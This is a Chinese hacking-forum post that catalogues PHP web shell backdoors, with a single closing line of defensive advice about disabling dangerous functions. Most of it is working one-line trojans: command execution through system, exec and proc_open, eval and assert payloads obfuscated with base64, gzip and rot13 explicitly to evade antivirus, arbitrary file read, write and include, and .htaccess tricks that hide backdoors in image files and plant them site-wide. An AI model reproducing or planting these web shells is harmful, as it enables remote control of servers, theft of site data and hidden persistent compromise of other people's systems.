黑帽联盟

 找回密码
 会员注册
查看: 1231|回复: 0
打印 上一主题 下一主题

[系统安全] PHP木马大全 一句话PHP木马的防范方法

[复制链接]

148

主题

9

听众

337

积分

版主

Rank: 7Rank: 7Rank: 7

  • TA的每日心情
    擦汗
    2018-6-6 11:33
  • 签到天数: 348 天

    [LV.8]以坛为家I

    php后门木马对大家来说一点都不陌生吧,但是它的种类您又知多少呢
    php后门木马常用的函数大致上可分为四种类型:

      1. 执行系统命令: system, passthru, shell_exec, exec, popen, proc_open

      2. 代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

      3. 文件包含与生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

      4. .htaccess: SetHandler, auto_prepend_file, auto_append_file

      1. 执行系统命令:

      system 函数

      //test.php?cmd=ls

      system($_GET[cmd]);

      passthru 函数

      //test.php?cmd=ls

      passthru($_GET[cmd]);

      shell_exec 函数

      //test.php?cmd=ls

      echo shell_exec($_GET[cmd]);

      exec 函数

      //test.php?cmd=ls

      $arr = array();

      exec($_GET[cmd],$arr);

      print_r($arr);

      popen 函数

      //test.php?cmd=ls

      $handle = popen('$_GET[cmd], 'r');

      $read = fread($handle, 2096);

      echo $read;

      pclose($handle);

      proc_open 函数

      //test.php?cmd=ls

      $descriptorspec = array(

      0 => array('pipe', 'r'),

      1 => array('pipe', 'w'),

      2 => array('pipe', 'w'),

      );

      $proc = @proc_open($_GET[cmd], $descriptorspec, $pipes);

      fclose($pipes[0]);

      $output = array();

      while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));

      print_r($output);

      2. 代码执行与加密:

      eval 函数

      //最常见的一句话木马

      eval($_POST[cmd]);

      base64_decode 函数

      //为了免杀及隐藏而加密代码

      //密文: eval($_POST['cmd']);

      eval(base64_decode('ZXZhbCgkX1BPU1RbJ2NtZCddKTs='));

      gzinflate 函数

      //为了免杀及隐藏而加密代码

      //密文: eval($_POST['cmd']);

      eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVk/OTVGP1bQGAA==')));

      gzuncompress 函数

      //为了免杀及隐藏而加密代码

      //密文: eval($_POST['cmd']);

      eval(gzuncompress(base64_decode('eJxLLUvM0VCJD/APDolWT85NUY/VtAYARQUGOA==')));

      gzdecode 函数

      //为了免杀及隐藏而加密代码

      //密文: eval($_POST['cmd']);

      eval(gzdecode(base64_decode('H4sIAAAAAAAAA0stS8zRUIkP8A8OiVZPzk1Rj9W0BgA5YQfAFAAAAA==')));

      str_rot13 函数

      //为了免杀及隐藏而加密代码

      //密文: eval($_POST[cmd]);

      eval(str_rot13('riny($_CBFG[pzq]);'));

      assert 函数

      //类似eval函数

      assert($_POST[cmd]);

      call_user_func 函数

      //使用call_user_func调用assert

      call_user_func('assert',$_POST[cmd]);

      call_user_func 函数

      //使用call_user_func调用任意函数

      //test.php?a=assert&cmd=phpinfo()

      call_user_func($_GET[a],$_REQUEST[cmd]);

      组合代码

      //组合方式调用任意函数

      //test.php?a=assert&cmd=phpinfo()

      $_GET[a]($_REQUEST[cmd]);

      3. 文件包含与生成:

      require 函数

      //包含任意文件

      //test.php?file=123.jpg

      require($_GET[file]);

      require_once 函数

      //包含任意文件

      //test.php?file=123.jpg

      require_once($_GET[file]);

      include 函数

      //包含任意文件 www.jb51.net

      //test.php?file=123.jpg

      include($_GET[file]);

      include_once 函数

      //包含任意文件

      //test.php?file=123.jpg

      include_once($_GET[file]);

      file_get_contents 函数

      //读取任意文件

      //test.php?f=config.inc.php

      echo file_get_contents($_GET['f']);

      file_put_contents 函数

      //生成任意内容文件

      //a=test.php&b=

      file_put_contents($_GET[a],$_GET[b]);

      fputs 函数

      //生成任意内容文件

      //a=test.php&b=

      fputs(fopen($_GET[a],"w"),$_GET[b]);

      4. .htaccess:

      SetHandler

      //可将php代码存于非php后缀文件,例: x.jpg

      //将以下代码写入.htaccess中

      //连接x.jpg即可启动后门木马出处www.admin8.us

      

      SetHandler application/x-httpd-php

      

      auto_prepend_file

      //可将php代码存于非php后缀文件,例: 123.gif

      //将以下代码写入.htaccess中, 文件路径必须是绝对路径

      //访问网站上任何php文件都会启动该php后门木马

      //可在不更改站点源代码的情况下记录所有$_REQUEST的值,也可批量挂马

      php_value auto_prepend_file c:/apache2/htdocs/123.gif

      auto_append_file

      //类似auto_prepend_file

      //可将php代码存于非php后缀文件,例: 123.gif

      //将以下代码写入.htaccess中, 文件路径必须是绝对路径

      //访问网站上任何php文件都会启动该php后门木马

      php_value auto_append_file c:/apache2/htdocs/123.gif

    防范方法:通过禁止危险函数 php.ini中设置disable_functions

    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部